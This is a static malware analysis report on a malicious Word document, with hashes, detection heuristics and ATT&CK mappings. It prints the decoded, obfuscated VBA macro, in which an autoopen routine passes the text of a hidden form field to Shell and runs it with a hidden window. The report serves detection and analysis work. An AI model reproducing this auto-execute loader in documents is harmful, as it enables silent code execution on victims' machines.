Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 db4ebe46e6fbe442…

MALICIOUS

Office (OLE)

73.8 KB Created: 2018-12-18 07:55:00 Authoring application: Microsoft Office Word First seen: 2019-01-20
MD5: f8e83909f528518a1e2835ef1d9e6c9f SHA-1: 2455ab653e555478e5ffde3940ef145530218310 SHA-256: db4ebe46e6fbe442fce2d055bb25f6a0d8736e09152034df6231e2f15feae50d
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Word document containing VBA macros. The 'autoopen' macro triggers a function that uses the Shell() function to execute a command. This is a common technique for downloading and executing secondary payloads. The presence of the 'SC_STR_CMD' and 'OLE_VBA_SHELL' heuristics, along with the 'macros.bas' file, strongly indicates this malicious behavior.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-6787858-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6787858-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    On Error Resume Next
drNKDZ = Array(QuPPcvYs, TJhZoZp, pPBmNbRh, Interaction.Shell(CleanString(kKdiBJm.TextBox1), 91 - 91), NiuOwd)
   Select Case thjfsqcpTFjQAvSBqHTSnwHb
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
CHCpvPoGr
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/officeDocument/2006/bibliography In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 848 bytes
SHA-256: 14c20444bee8f2e46ab12b1b3e2963458db3c5c0abc58bfecda8d23eded9b656
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "kKdiBJm"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
CHCpvPoGr
End Sub

Attribute VB_Name = "KduUuRhKarG"
Function CHCpvPoGr()
On Error Resume Next
drNKDZ = Array(QuPPcvYs, TJhZoZp, pPBmNbRh, Interaction.Shell(CleanString(kKdiBJm.TextBox1), 91 - 91), NiuOwd)
   Select Case thjfsqcpTFjQAvSBqHTSnwHb
            Case 85681731
            MOICQXjBojwKFYur = 144939110
            TarQniiYMTIvZIRji = Oct(jRpMkwHiCjCuYwcq + CStr(mRwbiXrKMstKqsW + Log(302684204) - KEbGqtIEbwWRuMTizfRi / Hex(256120348)))
      End Select
End Function

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